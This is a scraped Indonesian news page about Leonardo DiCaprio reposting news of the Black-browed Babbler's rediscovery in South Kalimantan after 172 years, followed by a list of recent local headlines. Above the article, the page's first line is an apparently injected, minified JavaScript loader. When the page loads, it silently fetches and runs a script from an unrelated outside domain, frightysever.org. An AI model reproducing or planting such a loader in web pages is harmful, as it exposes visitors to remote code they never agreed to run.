(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

Leonardo DiCaprio Senang Burung Pelanduk Kalimantan Ditemukan Lagi


KANALKALIMANTAN.COM– Bintang Hollywood Leonardo DiCaprio merepost postingan Global Wildlife Conservation di Instagram terkait kembali ditemukannya burung pelanduk Kalimantan super langka (Malacocincla perspicillata) setelah 172 tahun menghilang.

Burung pelanduk ini memang menjadi teka-teki dan misteri sejak ditemukan pertamakali pada pertengahan abad ke-19. Pasalnya, para ilmuwan bahkan tidak yakin di mana spesies itu berasal sampai hampir 50 tahun kemudian sejak ditemukan.

Ditemukan atau dicatat oleh sains dunia pertamakali pada 1848, baru pada tahun 1895, saintis meyakini bahwa spesies burung ini memang endemil Kalimantan, dan bukan Jawa seperti yang mereka duga sebelumnya.

“Penemuan kembali baru-baru ini akhirnya memastikan bahwa burung itu sebenarnya dari Kalimantan,” demikian terungkap dalam postingan yang direpost Leonardo DiCaprio.
Burung super langka ini berhasil ditemukan berkat dua warga lokal yang secara kebetulan menemukan seekor burung yang tidak mereka kenali di provinsi Kalimantan Selatan pada 5 Oktober 2020.

Kedua warga tersebut, yang bernama Muhammad Suranto and Muhammad Rizky Fauzan, berhasil menangkapnya dan memotret burung itu. Setelah melepaskan kembali sang burung, mereka melaporkan penemuan itu ke kelompok pengamat burung setempat yang meneruskan pada pakar ornitologi.

Menurut Ding Li Yong, peneliti dari BirdLife International sekaligus salah satu penulis makalah yang mempublikasikan temuan burung pelanduk Kalimantan tersebut, menyebut bahwa penemuan ini membuktikan burung pelanduk Kalimantan tetap bertahan hidup meskipun terjadi deforestasi besar-besaran di pulau tersebut. Dia mengatakan, kehidupan burung pelanduk Kalimantan sedang di ujung tanduk karena kehilangan habitat mereka.

“Ahli ornitologi sekarang berharap dapat bekerja sama dengan badan pemerintah daerah di Indonesia untuk mempelajari spesies tersebut dan menentukan apakah spesies tersebut terancam punah,” kata Global Wildlife Conservation dalam postingan yang direspost Leonardo DiCaprio.

Leonardo telah lama menjadi salah satu bintang Hollywood yang mendidekasikan sebagian besar waktu dan kekayaannya untuk kelestarian lingkungan dan energi terbaurukan. (Kanalkalimantan.com/kumparan)

Editor: cell

 

 

 


Al Ghifari

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

43 menit ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

2 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

3 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

4 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

7 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

8 jam ago

This website uses cookies.